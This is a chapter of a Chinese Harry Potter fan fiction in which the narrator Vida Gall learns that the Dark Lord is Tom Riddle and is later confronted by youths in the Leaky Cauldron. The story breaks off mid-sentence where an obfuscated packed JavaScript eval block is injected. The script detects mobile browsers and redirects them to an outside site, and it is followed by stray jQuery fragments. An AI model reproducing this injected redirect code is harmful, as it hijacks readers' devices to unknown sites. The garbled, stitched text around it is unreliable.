39.昂贵果实

    如今一想,我心中似有一团郁气堵着,更加感到现实荒谬难言。接着,我似乎看见黑魔王脸上极快地略过一丝不忍。


    “维达,”他竟然安慰我道,“你仍然是个天才。”


    “二十多岁的天才吗?”我脱口而出。如果几岁,十几岁刚启蒙时,天才是赞赏,那么到了二十多岁,同龄人都毕业、结婚了,天才便成了一个半路夭折的惋惜之词。


    他没有计较我的冒犯之语,反倒问起我拉文克劳的休息室是什么样子,从塔顶跑去地窖是不是很远。我都一一回答了,还说了千里迢迢去埋伏莱斯特兰奇兄弟的事。


    说这段经历时,我眉飞色舞,连伤心也忘记了。只手舞足蹈地表示我略施小计,这两位公子哥就在医疗翼住了好几天。


    黑魔王也说:“怪不得他们现在这么怕你。”


    接着,他又道:“之前我听说过一件事,现在说给你听。”


    他示意我应该坐直身体,有礼貌地和人交流。我照做了,他道:“早几年,罗道夫斯·莱斯特兰奇与贝拉特里克斯走得很近,他们预备订婚。后来你出现了,罗道夫斯便害怕得逐渐疏远你们两个。”


    我瞪大眼睛,竟然完全不知道有这件事。贝拉说的不打算结婚,竟然也是骗我的吗?


    黑魔王像是知晓我心中所想,带着笑意地点点头。


    他又说:“马上罗道夫斯也要结婚了,娶的是法国的一位纯血小姐。如果你已经放下小时候的怨恨,就去参加他的婚礼,要给他送一份礼物。如果你没有放下,就算了。”


    我点点头,决心打听好他结婚的日子,和贝拉一起去旅游。


    他又像是知道我在想什么似的问我:“你到时候不准备参加,是不是?”


    我沉默以对。他说:“那么,到那时我会有一个任务给你,你正好不必去了。”


    紧接着,他话题一转,问我是否好奇那个上学时品学兼优的‘汤姆·里德尔’后来去做什么了。他没等我回答,这次竟然自顾自地说起来:


    “他也是有意思,放弃许多许多像是给他量身定制的优秀工作,最后竟然去一家当铺做了小职员。后来因为偷盗客户家的财务,逃之夭夭了。”


    说这话时的黑魔王眉眼间满是得意畅快的表情,我差点以为这个‘汤姆·里德尔’是他的什么仇人。但是,他又问我,这次是确确实实地问我:“你猜他为什么这样做?”


    为什么?


    一个人的选择必定昭示他的所思所想。所谓“优秀”的工作或许也不过是一个又一个叫人无法逃脱的金鸟笼。


    我在思考,如果一个人的一生想要追求什么极致的东西,那必定是要放弃其他的。放弃、切割、斩杀——一个又一个更加决绝、暴戾的词语我从脑中出现。我浑身一颤,在此刻才明白面前魔鬼的险恶用心。


    “你也猜到了,维达。”黑魔王说,“抛弃那些不重要的、最牵绊你的,人才能得到永恒。”


    他说:“我就是那个‘汤姆·里德尔’。”


    儿时的真相骤然在我面前展开,我双目圆瞪,却不知道心底作何感想,最后只能笑话一句“命运弄人”。


    我平静的表情招致黑魔王的不满。他问我:“你在想什么?”


    “我不知道应该想什么。”我说。


    “不知道?”


    “不知道。”


    “不,你一定知道。”他像是对我抱有某种信念,恨不得抓住我的肩膀,使劲摇晃,“你一定知道,告诉我,加尔,你一定在想什么。”


    我是一个驽钝之人,黑魔王想从我这里得到的也绝对不是什么智者的话。我是他的仆人,那么我便说他想听的话吧。


    我说:“您的选择是正确的。”


    “只是如此吗?”他脸色中流露出一股失望。紧接着,脸上闪过令人憎恶的嘲讽,他道:“我看的不错,你就是这样的人。”


    我故作疑惑地歪着头,可惜,黑魔王没有再说什么,他把我赶走了。


    临走前,他给我一些钱,叫我不要忘记每年都要交房产税。又叫我要好好保护自己的财产,多操心店铺生意。


    仔细想想,他虽然是恶魔,但是对我还算不错。只是人刻薄了一些,不讲道理了一些,暴躁了一些。


    但是他在我面前罕见地流露出几分属于“人”的真情。


    正是这种真情玷污了他,令原本玲珑剔透的伏地魔变成与凡人一般无二的烂泥。我心底会因为我们之间的心意相通而亲近他,也会因为他身上展现出来的与我的相似一面而厌恶他。


    镜子所照见的事物十足相似,若是打破镜面仍见到的是相似的事物,那就让人感到面目可憎了。


    我从黑魔王处离开,手里拿着一个钱夹,里面全是古灵阁的小额存单。上面的数值如果换算回来大约——大约是最近五年的房屋和店铺应该缴纳的税额。但是如果要算上生活一类的其他费用,再加上我与贝拉吃喝玩乐的开销,大约一年就能花完。


    这就是“工资”吗?


    我揣着钱夹,先去古灵阁。此时银行已经关门,街道上一片漆黑,只剩下破釜酒吧门口的灯光还在亮着。我走进去,老板擦着酒杯的手愣了一下,对我说:“飞路粉在壁炉边。”


    这个提醒不带有任何感情,他手上的动作又连贯起来。


    我蹑手蹑脚地拿起飞路粉。只因我身上通缉令未消,身份仍旧是罪犯。那些傲


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504623|180430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罗只是不来抓我罢了,人们对我仍然是歧视的。


    想到这里,我心里不平,想起我为黑魔王做过的诸多恶事,又有了胆量坐在柜台前,要求老板给我倒一杯饮料。


    “您想要什么呢?”他问我。


    在不远处的座位上,几个看上去像是地铁口经常出没的挑衅滋事的少年正盯着我。我的手指有一搭没一搭地敲在木板上,就问老板那边的几个人喝的是什么。


    “黄油啤酒。”老板惜字如金。


    “噢,那就也给我来一杯‘黄油啤酒’吧。”


    我拿出钱夹,从里面摸来摸去,最后竟然找到几张麻瓜钱币,十分稀奇地看来看去。老板看着我的动作,提醒道:“本店只收纳特、西可和金加隆。”


    “是的,我知道。”我莫名其妙地看着他,从口袋里拿出巫师钱币。老板像是松了一口气般。


    ‘黄油啤酒’并不像我想的那样好喝,也不像我想的那样难喝。我更喜欢麦当劳的可乐,百事可乐最好,可口可乐也不错,但是冰一定要放得足。


    想到这里,一股食欲从我胃里窜上来。我放下只喝了一口的饮料大声叹气,在老板的瞪视中准备离开。


    这时,之前盯着我看的一个黑发青年叫住我。他说:“维达·加尔,你是维达·加尔吗?”


    我转头看向他们,三个少年各有各的忙碌。黑头发的着急往我面前冲,矮个子的急着往另一个高个子身后挤,拽着对方差点站不稳。


    “你是哪位?”我正饿着,不想搭理他,语气也十分不好。


    “你知不知道西里斯现在怎么样了?”黑发少年赶紧问。


    他说完,竟然拿出魔杖指着我。我见另外两人也做出同样的动作,脸上露出笑意,声音也变得尖锐嘹亮起来:“上一个敢这样做的还是——是谁来着——噢,是陵园里的某位先生。”


    说完,我也拿出魔杖,但是并未握紧,只是用两根手指夹着,伴随指尖动作,魔杖在空中轻点。


    酒吧里的人已经无声地缩到建筑的影子里了,只有老板还站在柜台后面。他试图调解道:“加尔,孩子们应该是比较紧张,为什么不听听他们想说什么呢?”


    我盯着这群小孩子,命令道:“把你们的魔杖放下来。”


    跟在黑发男孩身后的两人立刻放下魔杖,他们小声劝着同伴,最后将他的魔杖拿走,塞进口袋里,甚至举起双手表现出自己的无害。


    我也将魔杖收起来。对于我来说,魔杖只是一种装饰和示威的物件,大事用不着,小事不必用。


    酒吧里不知有谁呼出一口气,声音在寂静中十分明显。那名黑发男孩问我:“西里斯是不是被布莱克家关起来了?”